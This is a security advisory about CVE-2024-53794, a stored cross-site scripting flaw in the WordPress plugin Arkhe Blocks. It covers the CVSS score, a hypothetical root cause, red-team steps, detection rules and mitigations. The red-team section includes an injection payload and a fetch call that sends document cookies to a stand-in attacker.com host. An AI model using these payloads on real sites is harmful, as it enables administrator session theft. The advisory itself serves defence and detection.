CVE-2024-53794

Executive Summary

CVE-2024-53794 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Arkhe Blocks by Ryo, affecting versions up to and including 2.27.0. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into the WordPress site. When an administrator or other user views the compromised page, the injected script executes in their browser context, potentially leading to session hijacking, defacement, or data exfiltration. The CVSS score is 6.5 (Medium), and no public exploit or patch is currently available.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and can be installed directly from the WordPress admin dashboard. Since no patch is available, users should consider disabling the plugin or implementing a Web Application Firewall (WAF) rule to mitigate the risk. The plugin’s supply chain is managed by the vendor Ryo, and no OSV or GitHub advisory data is available.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – Attacker needs contributor-level access.
• User Interaction (UI): Required (R) – A user must view the compromised page.
• Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored XSS nature can lead to persistent compromise of the WordPress admin interface.

Deep Dive & Mechanics

The vulnerability exists in the Arkhe Blocks plugin, which provides custom Gutenberg blocks for the WordPress block editor. The plugin fails to properly sanitize or escape user input when rendering certain block attributes or content. An attacker with contributor-level privileges can craft a malicious block containing JavaScript payloads. When the block is saved and later rendered on a page or post, the payload is executed in the browser of any user viewing that page.

Root Cause: The plugin uses echo or wp_kses_post without proper context-aware escaping for attributes that are later output in HTML. For example, a block attribute like className or data-* might be directly concatenated into the HTML without using esc_attr().

Attack Flow:

1. Attacker logs in as a contributor.
2. Attacker creates a new post or page and inserts an Arkhe Block.
3. Attacker injects a malicious payload into a block attribute (e.g., onmouseover="alert(1)").
4. The payload is stored in the WordPress database.
5. An administrator or other user views the post/page.
6. The payload executes in the victim's browser.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is assumed to be present in all versions up to 2.27.0. A typical vulnerable pattern might look like:

Vulnerable Code (PHP):

echo '<div class="' . $block_attributes['className'] . '">';

Patched Code (Hypothetical):

echo '<div class="' . esc_attr($block_attributes['className']) . '">';

The patched version would use esc_attr() to escape the attribute value, preventing XSS.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress installation with Arkhe Blocks plugin <= 2.27.0.
• Contributor-level account.

Exploitation Steps:

1. Log in as a contributor.
2. Create a new post.
3. Add an Arkhe Block (e.g., a heading or button block).
4. In the block's advanced settings, inject a payload into a custom CSS class or data attribute:

   " onmouseover="alert(document.cookie)
   

5. Save and publish the post.
6. Wait for an administrator to view the post, or share the link.

Payload Example:

<div class="arkhe-block" onmouseover="fetch('https://attacker.com/steal?cookie='+document.cookie)">Click me</div>

Blue Team

Detection:

• Monitor for unusual block attributes in post revisions.
• Look for posts containing on* event handlers or javascript: URIs in block content.
• Use the detection rules below.

Mitigation:

• Disable the Arkhe Blocks plugin until a patch is released.
• Implement a WAF rule to block common XSS payloads in post content.
• Restrict contributor-level access to trusted users only.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/arkhe-blocks/ (presence of the plugin)
• Database: Posts or pages containing onmouseover, onload, onerror, or javascript: in block attributes.
• Network: Outbound requests to attacker-controlled domains from the WordPress admin interface.
• Logs: WordPress audit logs showing creation of posts with suspicious block attributes.

Detection Engineering

YARA Rule

rule CVE_2024_53794_Arkhe_Blocks_XSS {
    meta:
        description = "Detects stored XSS payloads in Arkhe Blocks plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-53794"
    strings:
        $payload1 = /on\w+\s*=\s*["']?[^"']*["']?/ nocase
        $payload2 = /javascript\s*:/ nocase
        $payload3 = /<script\b[^>]*>/ nocase
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Arkhe Blocks Plugin
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS payloads in WordPress posts created by Arkhe Blocks plugin
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "/wp-admin/post.php"
        http.body|contains|all:
            - "arkhe-blocks"
            - "onmouseover"
    condition: selection
falsepositives:
    - Legitimate use of event handlers in block attributes (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-53794 Stored XSS in Arkhe Blocks"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"arkhe-blocks"; http_client_body; pcre:"/on\w+\s*=\s*[\x22\x27]/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and uninstall Arkhe Blocks until a patch is released.
2. Apply WAF rules – Block requests containing on*= or javascript: in post content.
3. Audit user roles – Remove contributor access for untrusted users.

Long-term Fix:

• Monitor the plugin's official page for a patched version (>= 2.27.1).
• Once patched, update the plugin immediately.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Workaround:

• Use a security plugin like Wordfence to add virtual patching for this vulnerability.

Valters IT
DevSecOps & Cyber Threat Intelligence